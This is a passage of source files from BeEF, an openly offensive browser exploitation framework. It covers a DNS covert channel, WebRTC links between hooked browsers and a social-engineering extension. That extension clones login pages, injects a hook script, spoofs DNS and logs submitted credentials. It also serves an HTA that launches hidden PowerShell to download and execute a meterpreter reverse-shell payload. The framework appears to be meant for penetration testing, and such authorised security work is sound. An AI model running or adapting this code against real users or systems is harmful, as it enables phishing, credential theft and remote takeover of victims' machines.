end\n  end\nend\n"
  },
  {
    "path": "extensions/s2c_dns_tunnel/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ServerClientDnsTunnel\n      extend BeEF::API::Extension\n      @short_name   = 'S2C DNS Tunnel'\n      @full_name    = 'Server-to-Client DNS Tunnel'\n      @description  = 'This extension provides a custom BeEF DNS server and HTTP server ' \\\n                      'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'\n    end\n  end\nend\n\nrequire 'extensions/s2c_dns_tunnel/dnsd'\nrequire 'extensions/s2c_dns_tunnel/api'\nrequire 'extensions/s2c_dns_tunnel/httpd'\n"
  },
  {
    "path": "extensions/s2c_dns_tunnel/httpd.rb",
    "content": "module BeEF\n  module Extension\n    module ServerClientDnsTunnel\n      class Httpd < Sinatra::Base\n        def initialize(domain)\n          super()\n          @domain = domain\n        end\n\n        get '/map' do\n          if request.host.match(\"^_ldap\\._tcp\\.[0-9a-z\\-]+\\.domains\\._msdcs\\.#{@domain}$\")\n            path = File.dirname(__FILE__)\n            send_file File.join(path, 'pixel.jpg')\n          end\n        end\n      end\n    end\n  end\nend\n\nrequire 'sinatra/base'\n"
  },
  {
    "path": "extensions/social_engineering/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        social_engineering:\n            enable: false\n            name: 'Social Engineering'\n            authors: [\"antisnatchor\"]\n            web_cloner:\n                # NOTE: you must have 'wget' in your PATH\n                add_beef_hook: true\n                user_agent: \"Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2\"\n                verify_ssl: true\n            powershell:\n                # the default payload being used is windows/meterpreter/reverse_https\n                msf_reverse_handler_host: \"172.16.45.1\"\n                msf_reverse_handler_port: \"443\"\n                powershell_handler_url: \"/ps\"\n"
  },
  {
    "path": "extensions/social_engineering/droppers/readme.txt",
    "content": "This directory will contain the droppers (executables, JARs, browser extensions, etc..)\nthat you want to have available on the BeEF server.\n\nFor example, if you want to have bin.exe available at http://beefserver/bin.exe,\nuse the following RESTful API call:\n\ncurl -H \"Content-Type: application/json; charset=UTF-8\" -d\n'{\"mount\":\"/bin.exe\", \"local_file\":\"/extensions/social_engineering/droppers/bin.exe\"}'\n -X POST http://beefserver/api/server/bind?token=<token>"
  },
  {
    "path": "extensions/social_engineering/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module RegisterSEngHandler\n      def self.mount_handler(server)\n        server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)\n\n        ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')\n        server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)\n      end\n    end\n\n    module SocialEngineering\n      extend BeEF::API::Extension\n\n      @short_name = 'social_engineering'\n      @full_name = 'Social Engineering'\n      @description = 'Web page cloner and other social engineering tools.'\n\n      BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler')\n    end\n  end\nend\n\n# Handlers\nrequire 'extensions/social_engineering/web_cloner/web_cloner'\nrequire 'extensions/social_engineering/web_cloner/interceptor'\nrequire 'extensions/social_engineering/powershell/bind_powershell'\n\n# Models\nrequire 'extensions/social_engineering/models/web_cloner'\nrequire 'extensions/social_engineering/models/interceptor'\n\n# RESTful api endpoints\nrequire 'extensions/social_engineering/rest/socialengineering'\n"
  },
  {
    "path": "extensions/social_engineering/models/interceptor.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class Interceptor < BeEF::Core::Model\n        belongs_to :webcloner\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/social_engineering/models/web_cloner.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      class WebCloner < BeEF::Core::Model\n        has_many :interceptors\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/social_engineering/powershell/bind_powershell.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module SocialEngineering\n      #\n      # By default powershell will be served from http://beef_server:beef_port/ps/ps.png\n      #\n      # NOTE: make sure you change the 'beef.http.public' settings in the main BeEF config.yaml to the public IP address / hostname for BeEF,\n      # and also the powershell-related variable in extensions/social_engineering/config.yaml,\n      # and also write your PowerShell payload to extensions/social_engineering/powershell/powershell_payload.\n      class Bind_powershell < BeEF::Core::Router::Router\n        before do\n          headers 'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # serves the HTML Application (HTA)\n        get '/hta' do\n          response['Content-Type'] = 'application/hta'\n          @config = BeEF::Core::Configuration.instance\n          beef_url_str = @config.beef_url_str\n          ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')\n          payload_url = \"#{beef_url_str}#{ps_url}/ps.png\"\n\n          print_info \"Serving HTA. Powershell payload will be retrieved from: #{payload_url}\"\n          \"<script>\n                var c = \\\"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\\\\\"\\\\\\\"IEX ((new-object net.webclient).downloadstring('#{payload_url}')); Invoke-ps\\\\\\\"\\\\\\\"\\\";\n                new ActiveXObject('WScript.Shell').Run(c);\n            </script>\"\n        end\n\n        # serves the powershell payload after modifying LHOST/LPORT\n        # The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO\n        get '/ps.png' do\n          response['Content-Type'] = 'text/plain'\n\n          @ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')\n          @ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')\n\n          ps_payload_path = \"#{$root_dir}/extensions/social_engineering/powershell/powershell_payload\"\n\n          if File.exist?(ps_payload_path)\n            return File.read(ps_payload_path).to_s.gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port)\n          end\n\n          nil\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/social_engineering/rest/socialengineering.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Extension\n    module SocialEngineering\n      class SEngRest < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Example: curl -H \"Content-Type: application/json; charset=UTF-8\" -d json_body\n        # -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7\n        #\n        # Example json_body:\n        # {\n        #     \"url\": \"https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/\"\n        #     \"mount\": \"/gmail\",\n        #     \"dns_spoof\": true\n        # }\n        post '/clone_page' do\n          request.body.rewind\n          begin\n            body = JSON.parse request.body.read\n            uri = body['url']\n            mount = body['mount']\n            use_existing = body['use_existing']\n            dns_spoof = body['dns_spoof']\n\n            if !uri.nil? && !mount.nil?\n              if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI\n                print_error 'Invalid URI'\n                halt 401\n              end\n\n              unless mount[%r{^/}] # mount needs to start with /\n                print_error 'Invalid mount (need to be a relative path, and start with / )'\n                halt 401\n              end\n\n              web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance\n              success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof)\n\n              if success\n                result = {\n                  'success' => true,\n                  'mount' => mount\n                }.to_json\n              else\n                result = {\n                  'success' => false\n                }.to_json\n                halt 500\n              end\n            end\n          rescue StandardError\n            print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'\n            error 400 # Bad Request\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/social_engineering/web_cloner/cloned_pages/readme.txt",
    "content": "This is the directory where the cloned pages will be placed.\nIf you clone beefproject.com, there will be 2 files:\n - beefproject.com  <- original, unmodified\n - beefproject.com_mod  <- modified one\n\nIn case you want to further modify the beefproject.com_mod manually,\nand serve it through BeEF, do the following:\n - clone the page\n - modify the beefproject.com_mod file\n - clone the same page again, adding the \"use_existing\":\"true\" parameter in the RESTful API call.\n\nIn this way the x_mod page will be served, with your custom modifications."
  },
  {
    "path": "extensions/social_engineering/web_cloner/interceptor.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module SocialEngineering\n      require 'sinatra/base'\n      class Interceptor < Sinatra::Base\n        configure do\n          set :show_exceptions, false\n        end\n\n        # intercept GET\n        get '/' do\n          print_info \"GET request from IP #{request.ip}\"\n          print_info \"Referer: #{request.referer}\"\n          cloned_page = settings.cloned_page\n          cloned_page\n        end\n\n        # intercept POST\n        post '/' do\n          print_info \"POST request from IP #{request.ip}\"\n          request.body.rewind\n          data = request.body.read\n          print_info 'Intercepted data:'\n          print_info data\n\n          interceptor_db = BeEF::Core::Models::Interceptor.new(\n            webcloner_id: settings.db_entry.id,\n            post_data: data,\n            ip: request.ip\n          )\n          interceptor_db.save\n\n          if settings.frameable\n            print_info 'Page can be framed :-) Loading original URL into iFrame...'\n            \"<html><head><script type=\\\"text/javascript\\\" src=\\\"#{settings.beef_hook}\\\"></script>\\n</head></head><body><iframe src=\\\"#{settings.redirect_to}\\\" style=\\\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\\\"></iframe></body></html>\"\n          else\n            print_info 'Page can not be framed :-) Redirecting to original URL...'\n            redirect settings.redirect_to\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/social_engineering/web_cloner/web_cloner.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module SocialEngineering\n      class WebCloner\n        require 'socket'\n        include Singleton\n\n        def initialize\n          @http_server = BeEF::Core::Server.instance\n          @config = BeEF::Core::Configuration.instance\n          @cloned_pages_dir = \"#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/\"\n          @beef_hook = @config.hook_url.to_s\n        end\n\n        def clone_page(url, mount, use_existing, dns_spoof)\n          print_info \"Cloning page at URL #{url}\"\n          uri = URI(url)\n          output = uri.host\n          output_mod = \"#{output}_mod\"\n          user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')\n\n          success = false\n\n          # Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,\n          # there is no need to implement the complex logic to handle all different cases.\n          # We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.\n          # So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:\n          # 1th request. {\"uri\":\"http://example.com\", \"mount\":\"/\"} <- clone the page, and create the example.com_mod file\n          # - the user modify the example.com_mod file manually\n          # 2nd request. {\"uri\":\"http://example.com\", \"mount\":\"/\", \"use_existing\":\"true\"} <- serve the example.com_mod file\n          #\n          if use_existing.nil? || use_existing == false\n            begin\n              cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']\n              cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')\n              print_debug \"Running command: #{cmd.join(' ')}\"\n              IO.popen(cmd, 'r+') do |wget_io|\n              end\n              success = true\n            rescue Errno::ENOENT\n              print_error \"Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH.\"\n            rescue StandardError => e\n              print_error \"Errors executing wget: #{e}\"\n            end\n\n            if success\n              File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|\n                File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|\n                  # Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF\n                  if line.include?('<form ') || line.include?('<FORM ')\n                    line_attrs = line.split(' ')\n                    c = 0\n                    cc = 0\n                    # TODO: probably doable also with map!\n                    # modify the form 'action' attribute\n                    line_attrs.each do |attr|\n                      if attr.include? 'action=\"'\n                        print_info \"Form action found: #{attr}\"\n                        break\n                      end\n                      c += 1\n                    end\n                    line_attrs[c] = \"action=\\\"#{mount}\\\"\"\n\n                    # TODO: to be tested, needed in case like yahoo\n                    # delete the form 'onsubmit' attribute\n                    # line_attrs.each do |attr|\n                    #  if attr.include? \"onsubmit=\"\n                    #    print_info \"Form onsubmit event found: #{attr}\"\n                    #    break\n                    #  end\n                    #  cc += 1\n                    # end\n                    # line_attrs[cc] = \"\"\n\n                    mod_form = line_attrs.join(' ')\n                    print_info 'Form action value changed in order to be intercepted :-D'\n                    out_file.print mod_form\n                    # Add the BeEF hook\n                  elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')\n                    out_file.print add_beef_hook(line)\n                    print_info 'BeEF hook added :-D'\n                  else\n                    out_file.print line\n                  end\n                end\n              end\n            end\n          end\n\n          if File.size((@cloned_pages_dir + output).to_s).zero?\n            print_error \"Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'.\"\n            return false\n          end\n\n          print_info \"Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]\"\n\n          file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve\n\n          # Split the URL mounting only the path and ignoring the query string.\n          # If the user wants to clone http://example.local/login.jsp?example=123&test=456\n          # then the phishing link can be used anyway with all the proper parameters to look legit.\n          mount = mount.split('?').first if mount.include?('?')\n          mount = mount.split(';').first if mount.include?(';')\n\n          interceptor = BeEF::Extension::SocialEngineering::Interceptor\n          interceptor.set :redirect_to, url\n          interceptor.set :frameable, url_is_frameable?(url)\n          interceptor.set :beef_hook, @beef_hook\n          interceptor.set :cloned_page, get_page_content(file_path)\n          interceptor.set :db_entry, persist_page(url, mount)\n\n          # Add a DNS record spoofing the address of the cloned webpage as the BeEF server\n          if dns_spoof\n            dns = BeEF::Extension::Dns::Server.instance\n            ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address\n            ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address\n            ipv6.gsub!(/%\\w*$/, '')\n            domain = url.gsub(%r{^http://}, '')\n\n            unless ipv4.nil?\n              dns.add_rule(\n                pattern: domain,\n                resource: Resolv::DNS::Resource::IN::A,\n                response: ipv4\n              )\n            end\n\n            unless ipv6.nil?\n              dns.add_rule(\n                pattern: domain,\n                resource: Resolv::DNS::Resource::IN::AAAA,\n                response: ipv6\n              )\n            end\n\n            print_info \"DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]\"\n          end\n\n          print_info \"Mounting cloned page on URL [#{mount}]\"\n          @http_server.mount(mount.to_s, interceptor.new)\n          @http_server.remap\n\n          true\n        end\n\n        private\n\n        # Replace </head> with <BeEF_hook></head>\n        def add_beef_hook(line)\n          # @todo why is this an inline replace? and why is the second branch empty?\n          if line.include?('</head>')\n            line.gsub!('</head>', \"<script type=\\\"text/javascript\\\" src=\\\"#{@beef_hook}\\\"></script>\\n</head>\")\n          elsif line.gsub!('</HEAD>', \"<script type=\\\"text/javascript\\\" src=\\\"#{@beef_hook}\\\"></script>\\n</HEAD>\")\n          end\n          line\n        end\n\n        # Check if the URL X-Frame-Options header allows the page to be framed.\n        # @todo check for framebusting JS code\n        # @todo check CSP\n        def url_is_frameable?(url)\n          uri = URI(url)\n          http = Net::HTTP.new(uri.host, uri.port)\n\n          if uri.scheme == 'https'\n            http.use_ssl = true\n            http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')\n          end\n\n          request = Net::HTTP::Get.new(uri.request_uri)\n          response = http.request(request)\n          frame_opt = response['X-Frame-Options']\n\n          # @todo why is this using casecmp?\n          if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)\n            print_info \"URL can be framed: #{url}\"\n            return true\n          end\n\n          print_info \"URL cannot be framed: #{url}\"\n          false\n        rescue StandardError => e\n          print_error \"Unable to determine if URL can be framed: #{url}\"\n          print_debug e\n          # print_debug e.backtrace\n          false\n        end\n\n        def get_page_content(file_path)\n          file = File.open(file_path, 'r')\n          cloned_page = file.read\n          file.close\n          cloned_page\n        end\n\n        def persist_page(uri, mount)\n          webcloner_db = BeEF::Core::Models::WebCloner.new(\n            uri: uri,\n            mount: mount\n          )\n          webcloner_db.save\n          webcloner_db\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/webrtc/api/hook.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng \n# JS to the clients.. \n\nmodule BeEF\n  module Extension\n    module WebRTC\n      module API\n\n        require 'uri'\n        class Hook\n\n          include BeEF::Core::Handlers::Modules::BeEFJS\n\n          # If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve\n          # and send them to the hooked browser.\n          # Don't forget, these are signalling messages for a peer, so we don't check that the request\n          # is for the hooked_browser_id, but the target\n\n          # This logic also checks the Rtc\n          def requester_run(hb, body)\n            @body = body\n            rtcsignaloutput = []\n            rtcmanagementoutput = []\n\n            # Get all RTCSignals for this browser\n            BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => \"waiting\").each { |h|\n              # output << self.requester_parse_db_request(h)\n              rtcsignaloutput << h.signal\n              h.has_sent = \"sent\"\n              h.save\n            }\n\n            # Get all RTCManagement messages for this browser\n            BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => \"waiting\").each {|h|\n              rtcmanagementoutput << h.message\n              h.has_sent = \"sent\"\n              h.save\n            }\n\n            # Return if we have no new data to add to hook.js\n            return if rtcsignaloutput.empty? and rtcmanagementoutput.empty?\n\n            config = BeEF::Core::Configuration.instance\n            ws = BeEF::Core::Websocket::Websocket.instance\n\n            # todo antisnatchor: prevent sending \"content\" multiple times. Better leaving it after the first run, and don't send it again.\n            #todo antisnatchor: remove this gsub crap adding some hook packing.\n            # The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not\n            # Hopefully this still works\n            if config.get(\"beef.http.websocket.enable\") && ws.getsocket(hb.session)\n              \n              rtcsignaloutput.each {|o|\n                add_rtcsignal_to_body o\n              } unless rtcsignaloutput.empty?\n              rtcmanagementoutput.each {|o|\n                add_rtcmanagement_to_body o\n              } unless rtcmanagementoutput.empty?\n              # ws.send(content + @body,hb.session)\n              ws.send(@body,hb.session)\n               #if we use WebSockets, just reply wih the component contents\n            else # if we use XHR-polling, add the component to the main hook file\n              rtcsignaloutput.each {|o|\n                add_rtcsignal_to_body o\n              } unless rtcsignaloutput.empty?\n              rtcmanagementoutput.each {|o|\n                add_rtcmanagement_to_body o\n              } unless rtcmanagementoutput.empty?\n            end\n\n          end\n\n          def add_rtcsignal_to_body(output)\n            @body << %Q{\n              beef.execute(function() {\n                var peerid = null;\n                for (k in beefrtcs) {\n                  if (beefrtcs[k].allgood === false) {\n                    peerid = beefrtcs[k].peerid;\n                  }\n                }\n                if (peerid == null) {\n                  beef.debug('received a peer message, but, we are already setup?');\n                } else {\n                  beefrtcs[peerid].processMessage(\n                    JSON.stringify(#{output})\n                  );\n                }\n              });\n            }\n          end\n\n          def add_rtcmanagement_to_body(output)\n            @body << %Q{\n              beef.execute(function() {\n                #{output}\n              });\n            }\n          end\n\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/webrtc/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\nmodule Extension\nmodule WebRTC\n  \n  module RegisterHttpHandler\n    \n    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n    \n    # We register the http handler for the WebRTC signalling extension.\n    # This http handler will handle WebRTC signals from browser to browser\n\n    # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF\n    def self.mount_handler(beef_server)\n      beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)\n      beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)\n      beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)\n    end\n    \n  end\n\n  module RegisterPreHookCallback\n\n    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')\n\n    # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling\n    # This is also used so that BeEF can send RTCManagement messages to the hooked browser too\n    def self.pre_hook_send(hooked_browser, body, params, request, response)\n        dhook = BeEF::Extension::WebRTC::API::Hook.new\n        dhook.requester_run(hooked_browser, body)\n    end\n\n  end\n  \nend\nend\nend\n"
  },
  {
    "path": "extensions/webrtc/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        webrtc:\n            name: 'WebRTC'\n            enable: false\n            authors: [\"xntrik\"]\n            stunservers: '[\"stun:stun.l.google.com:19302\",\"stun:stun1.l.google.com:19302\",\"turn:numb.viagenie.ca:3478\"]'\n            # stunservers: '[\"stun:stun.l.google.com:19302\"]'\n            turnservers: '{\"username\": \"someone%40somewhere.com\", \"password\": \"somepass\", \"uris\": [\"turn:numb.viagenie.ca:3478?transport=udp\",\"turn:numb.viagenie.ca:3478?transport=tcp\"]}'\n"
  },
  {
    "path": "extensions/webrtc/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\nmodule Extension\nmodule WebRTC\n\n\textend BeEF::API::Extension\n\n    @short_name = 'webrtc'\n    @full_name = 'WebRTC'\n    @description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC'\n  \nend\nend\nend\n\nrequire 'extensions/webrtc/models/rtcsignal'\nrequire 'extensions/webrtc/models/rtcmanage'\nrequire 'extensions/webrtc/models/rtcstatus'\nrequire 'extensions/webrtc/models/rtcmodulestatus'\nrequire 'extensions/webrtc/api/hook'\nrequire 'extensions/webrtc/handlers'\nrequire 'extensions/webrtc/api'\nrequire 'extensions/webrtc/rest/webrtc'\n"
  },
  {
    "path": "extensions/webrtc/handlers.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module WebRTC\n\n      #\n      # The http handler that manages the WebRTC signals sent from browsers to other browsers.\n      #\n      class SignalHandler\n\n        R = BeEF::Core::Models::RtcSignal\n        Z = BeEF::Core::Models::HookedBrowser\n\n        def initialize(data)\n          @data = data\n          setup()\n        end\n\n        def setup()\n\n          # validates the hook token\n          beef_hook = @data['beefhook'] || nil\n          (print_error \"beefhook is null\";return) if beef_hook.nil?\n\n          # validates the target hook token\n          target_beef_id = @data['results']['targetbeefid'] || nil\n          (print_error \"targetbeefid is null\";return) if target_beef_id.nil?\n\n          # validates the signal\n          signal = @data['results']['signal'] || nil\n          (print_error \"Signal is null\";return) if signal.nil?\n\n          # validates that a hooked browser with the beef_hook token exists in the db\n          zombie_db = Z.first(:session => beef_hook) || nil\n          (print_error \"Invalid beefhook id: the hooked browser cannot be found in the database\";return) if zombie_db.nil?\n\n          # validates that a target browser with the target_beef_token exists in the db\n          target_zombie_db = Z.first(:id => target_beef_id) || nil\n          (print_error \"Invalid targetbeefid: the target hooked browser cannot be found in the database\";return) if target_zombie_db.nil?\n\n          # save the results in the database\n          signal = R.new(\n            :hooked_browser_id => zombie_db.id,\n            :target_hooked_browser_id => target_zombie_db.id,\n            :signal => signal\n          )\n          signal.save\n\n        end\n      end\n\n      #\n      # The http handler that manages the WebRTC messages sent from browsers.\n      #\n      class MessengeHandler\n\n        Z = BeEF::Core::Models::HookedBrowser\n\n        def initialize(data)\n          @data = data\n          setup()\n        end\n\n        def setup()\n          # validates the hook token\n          beef_hook = @data['beefhook'] || nil\n          (print_error \"beefhook is null\";return) if beef_hook.nil?\n\n          # validates the target hook token\n          peer_id = @data['results']['peerid'] || nil\n          (print_error \"peerid is null\";return) if peer_id.nil?\n\n          # validates the message\n          message = @data['results']['message'] || nil\n          (print_error \"Message is null\";return) if message.nil?\n\n          # validates that a hooked browser with the beef_hook token exists in the db\n          zombie_db = Z.first(:session => beef_hook) || nil\n          (print_error \"Invalid beefhook id: the hooked browser cannot be found in the database\";return) if zombie_db.nil?\n\n          # validates that a browser with the peerid exists in the db\n          peer_zombie_db = Z.first(:id => peer_id) || nil\n          (print_error \"Invalid peer_id: the peer hooked browser cannot be found in the database\";return) if peer_zombie_db.nil?\n\n          # Writes the event into the BeEF Logger\n          BeEF::Core::Logger.instance.register('WebRTC', \"Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}\")\n\n          # Perform logic depending on message (updating database)\n          puts \"message = '\" + message + \"'\"\n          if (message == \"ICE Status: connected\")\n            # Find existing status message\n            stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil\n            unless stat.nil?\n                stat.status = \"Connected\"\n                stat.updated_at = Time.now\n                stat.save\n            end\n            stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil\n            unless stat2.nil?\n                stat2.status = \"Connected\"\n                stat2.updated_at = Time.now\n                stat2.save\n            end\n          elsif (message.end_with?(\"disconnected\"))\n            stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil\n            unless stat.nil?\n                stat.status = \"Disconnected\"\n                stat.updated_at = Time.now\n                stat.save\n            end\n            stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil\n            unless stat2.nil?\n                stat2.status = \"Disconnected\"\n                stat2.updated_at = Time.now\n                stat2.save\n            end\n          elsif (message == \"Stayin alive\")\n            stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil\n            unless stat.nil?\n                stat.status = \"Stealthed!!\"\n                stat.updated_at = Time.now\n                stat.save\n            end\n            stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil\n            unless stat2.nil?\n                stat2.status = \"Peer-controlled stealth-mode\"\n                stat2.updated_at = Time.now\n                stat2.save\n            end\n          elsif (message == \"Coming out of stealth...\")\n            stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil\n            unless stat.nil?\n                stat.status = \"Connected\"\n                stat.updated_at = Time.now\n                stat.save\n            end\n            stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil\n            unless stat2.nil?\n                stat2.status = \"Connected\"\n                stat2.updated_at = Time.now\n                stat2.save\n            end\n          elsif (message.start_with?(\"execcmd\"))\n            mod = /\\(\\/command\\/(.*)\\.js\\)/.match(message)[1]\n            resp = /Result:.(.*)/.match(message)[1]\n            stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id,\n                                                           :target_hooked_browser_id => peer_zombie_db.id,\n                                                           :command_module_id => mod,\n                                                           :status => resp,\n                                                           :created_at => Time.now,\n                                                           :updated_at => Time.now)\n            stat.save\n          end\n\n        end\n\n    